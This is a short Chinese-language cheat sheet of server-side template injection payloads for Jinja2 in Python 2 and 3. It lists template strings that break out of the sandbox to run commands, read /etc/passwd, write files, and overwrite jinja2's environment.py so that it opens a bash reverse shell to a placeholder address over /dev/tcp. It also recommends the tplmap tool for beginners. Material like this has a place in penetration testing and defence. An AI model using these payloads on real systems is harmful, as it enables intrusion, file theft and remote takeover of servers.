SSTI模板注入
0x00
0x01
php:
python 3
#命令执行: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
python2
#注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html #读文件: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} #写文件: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module,而且这个environment.py import了os模块, 所以只要能写这个文件,就可以执行任意命令:
#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell {{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}
新手最好还是用tplmap
建议使用以下github链接从github存储库克隆该工具来安装Tplmap
git clone https://github.com/epinna/tplmap
下载完成后切换到tplmap目录下,运行
./tplmap.py -u <url>
关于Jinjia2的SSTI可以看看以下文章:
https://blog.csdn.net/qq_40827990/article/details/82940894
https://blog.csdn.net/zz_Caleb/article/details/96480967